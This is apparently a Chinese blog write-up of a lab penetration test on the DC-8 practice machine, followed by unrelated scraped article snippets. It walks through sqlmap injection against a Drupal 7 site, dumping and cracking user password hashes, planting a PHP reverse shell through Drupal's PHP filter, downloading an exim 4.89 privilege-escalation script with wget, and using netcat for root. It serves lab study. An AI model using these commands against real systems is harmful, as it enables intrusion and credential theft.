DC-8 靶机渗透测试
DC-8 渗透测试
冲冲冲 ,好好学习 。 核心:cms上传添加存在漏洞组件,利用该组件getshell
操作机:kali 172.66.66.129
靶机:DC-4 172.66.66.137
网络模式:NAT
netdiscover
nmap -sV -A -p- 172.66.66.137 -oN dc-8.nmap
开了22端口ssh 7.4,80端口http
robots.txt 看看
dirb http://172.66.66.137 | grep CODE:2
dirb http://172.66.66.137 > /tmp/dc-8.dirb
只看能访问成功的页面,也可以所有结果输出到文本里保存起来慢慢分析。
有感觉到靶机的难度在提升,加油冲冲冲
先去访问80看看,发现cms是Drupal 7
直觉告诉我,这个url 存在注入点?
url输入单引号 ' 有报错回显而且泄露路径,可以sqlmap跑起来。
sqlmap -u http://172.66.66.137?/nid=1
存在漏洞,爆破吧(不想手工来了>..<)
sqlmap -u http://172.66.66.137/?nid=1 --dbs
sqlmap -u http://172.66.66.137/?nid=1 -D d7db --tables
sqlmap -u http://172.66.66.137/?nid=1 -D d7db -T users --columns
sqlmap -u http://172.66.66.137/?nid=1 -D d7db -T users -C name,pass,uid --dump
name | pass | uid |
---|---|---|
admin | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z |
1 |
john | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF |
2 |
保存密码到dc-8.txt,再kali下john爆破一下, john dc-8.txt
turtle
尝试登陆
admin:turtle ; john:turtle
发现john是可以的
searchsploit drupal 7
查到/usr/share/exploitdb/exploits/php/webapps/34992.py,能添加admin账号
没有该漏洞,搞了个寂寞... (还有个ssh爆破没尝试)
john账号登进去之后的内容就太丰富了。
看到有留言板,马上想到XSS。
我们的目标是:想办法拿到shell,先想到反弹shell,反弹shell的前提是,得找到有地方可以上传并解析代码的位置。
留言板尝试无果,
发现有个可以 edit ,可以编辑代码?点开看看,貌似可以插入个php反弹shell
添加完仿佛没效果?是没有解析吗?
一顿操作下来,发现了这个页面,编辑文本格式里找到了 php code ,狂喜 (>-<)
菜鸡落泪,步骤的第一步就错了,不应该一上来就写反弹shell,得先测试一下这里输入的php代码时候可以被正确的执行,并且回显。测试php 编码是否能执行,写个 <?php phpinfo();?>
之类的。
有没有发现,写进去了,讲道理,写进去的php,一般是解析执行了的,但是要访问哪个路径才能看到写进去的内容呢?(打开什么路径触发?)这是个大问题。大问题大问题,为啥没显示出来?编辑还没提交吗?
果然是提交的问题,上面的步骤不完整,每一个都填写,还要添加
最后起作用的好像是这个图的框里,点击submit之后,shell上线。不不不,最后起作用的不是这个框,是上图的form sitting
拿到个陌生shell,开始收集信息。uname -a 、echo $SHELL 、echo $PATH、find / -perm -4000 -type f 2>/dev/null ...
令人兴奋的权限,查看一下内容是啥
4.89版本的exim ,找一下漏洞
上面的txt大多是漏洞验证之类的文档,当然也可以研究可以。要是有 可执行的提权脚本就更爽了。
盯住 privilege escalation 字眼,46994.sh仿佛在向你招手。本地提权,得把脚本传到靶机。
kali开启服务器python -m SimpleHTTPServer 9876
靶机下载脚本 wget http://172.66.66.129:9876/46996.sh
kali下记得执行以下 dos2unix 46996.sh
改一下文本格式
执行(脚本改名为 dc-8.sh了)
没成功,再回去仔细看看脚本源码
有两种利用方法, suid 、netcat
这个shell 效果很玄学,执行了七八次,最后是用netcat才成功了。
最后
DC-8 靶机渗透测试的更多相关文章
- DC-1 靶机渗透测试
DC-1靶机渗透测试 对着镜子大喊三声"太菜了""太菜了""太菜了" DC系列靶机的第一篇.边学习边日靶机边进步,摸爬滚打着前行. 内容不只 ...
- DC-5 靶机渗透测试
DC-5 靶机渗透测试 冲冲冲,好好学习 .核心:footer 文件包含漏洞,wfuzz .收获总结写在文末. 谨记任务:找地方上传shell---> root. 操作机:kali 172.66 ...
- DC-2 靶机渗透测试
DC-2 靶机渗透测试 冲冲冲,好好学习. 本靶机核心内容"受限shell提权",知识点在另一篇文章中总结归纳了. 攻击机:kali 靶 机:DC-2 准备:在使用前需要在操作机的 ...
- DC-9 靶机渗透测试
DC-9 渗透测试 冲冲冲,好好学习 DC系列的9个靶机做完了,对渗透流程基本掌握,但是实战中出现的情况千千万万,需要用到的知识面太广了,学不可以已. 靶机IP: 172.66.66.139 kali ...
- DC-7 靶机渗透测试
DC-7 渗透测试 冲冲冲,好好学习 .对管道符的理解加深了好多.最后提权时,遇到了点麻烦.想不懂一条命令为啥能执行生效,耗了一整天才算解决掉. 操作机:kali 172.66.66.129 靶机:D ...
- DC-6 靶机渗透测试
DC-6 渗透测试 冲冲冲,好好学习 . 收获总结写在文末. 操作机:kali 172.66.66.129 靶机:DC-4 172.66.66.136 网络模式:NAT 上来一波 netdiscove ...
- DC-4 靶机渗透测试
DC-4 渗透测试 冲冲冲,努力学习 .掌握 hydra ,nc反弹shell 记住你要干嘛, 找地方上传shell(大多以后台登录为切入点,再反弹shell),shell提权到root 操作机:ka ...
- DC 1-3 靶机渗透
DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...
- vulnhub-DC:7靶机渗透记录
准备工作 在vulnhub官网下载DC:7靶机DC: 7 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 已经知道了靶 ...
随机推荐
- ES6、ES7的一些新特性
1.常见的就是let 和 const 命令 let 只在命令所在的代码块内有效 const声明一个只读的常量 2.变量的赋值 let [a, b, c] = [1, 2, 3]; 这样输出的话a=1, ...
- 什么是DDoS引导程序IP Stresser?
1.什么是IP Stresser? IP Stresser是一款用于测试网络或服务器稳健性的工具.管理员可以运行压力测试,从而确定现有资源(带宽.CPU 等)是否足以处理附加负载. 测试个人网络或服务 ...
- GDI+中发生一般性错误的解决办法(转载)
今天在开发.net引用程序中,需要System.Drawing.Image.Save 创建图片,debug的时候程序一切正常,可是发布到IIS后缺提示出现"GDI+中发生一般性错误" ...
- drf-路由和认证
目录 一.路由Routers SimpleRouter DefaultRouter action的使用 二.认证 认证的写法 认证源码分析 认证组件的使用 一.路由Routers 在 Rest Fra ...
- SpringCloud:SpringBoot整合SpringCloud项目
划分模块 这里我划分了四个模块 Common: 存放bean和Dao模块 Consumer: 消费者模块,提供对外暴露接口服务 EurekaServer: Eureka注册中心模块,主要用于启动注册中 ...
- java面试一日一题:字节java后端工程师面试题
今天来分享下字节一面面试题,各位小伙伴看看都能答上来吗,弄懂下面的问题你离字节又近了一步哦,加油吧 1.自我介绍: 2.问到项目中为什么选择hbase,如果有多个查询条件如何设置数据存储方案: 3.t ...
- 将Acunetix与CircleCI集成
如果要在DevSecOps中包含Acunetix ,则需要将其与CI / CD系统集成.Acunetix具有针对最受欢迎的CI / CD系统Jenkins的现成集成.但是,您可以使用Acunetix ...
- 使用Hugo框架搭建博客的过程 - 部署
前言 完成前期的准备工作后,在部署阶段需要配置服务器或对象存储服务. 对象存储和服务器对比 对象存储平台 国内有阿里云OSS.腾讯COS.又拍云.七牛云等.国外有Github Pages.Netlif ...
- 章节1-Grafana Dashboard的简单应用(2)
目录 使用Grafana创建可视化Dashboard 1. Add data sources - Prometheus 2. 导入 Dashboard 模板 2.1 Node Exporter for ...
- Django基础06篇 分页
1.导入Django自带的分页类 from django.core.paginator import Paginator 2.分页类的使用 def index(request): # return H ...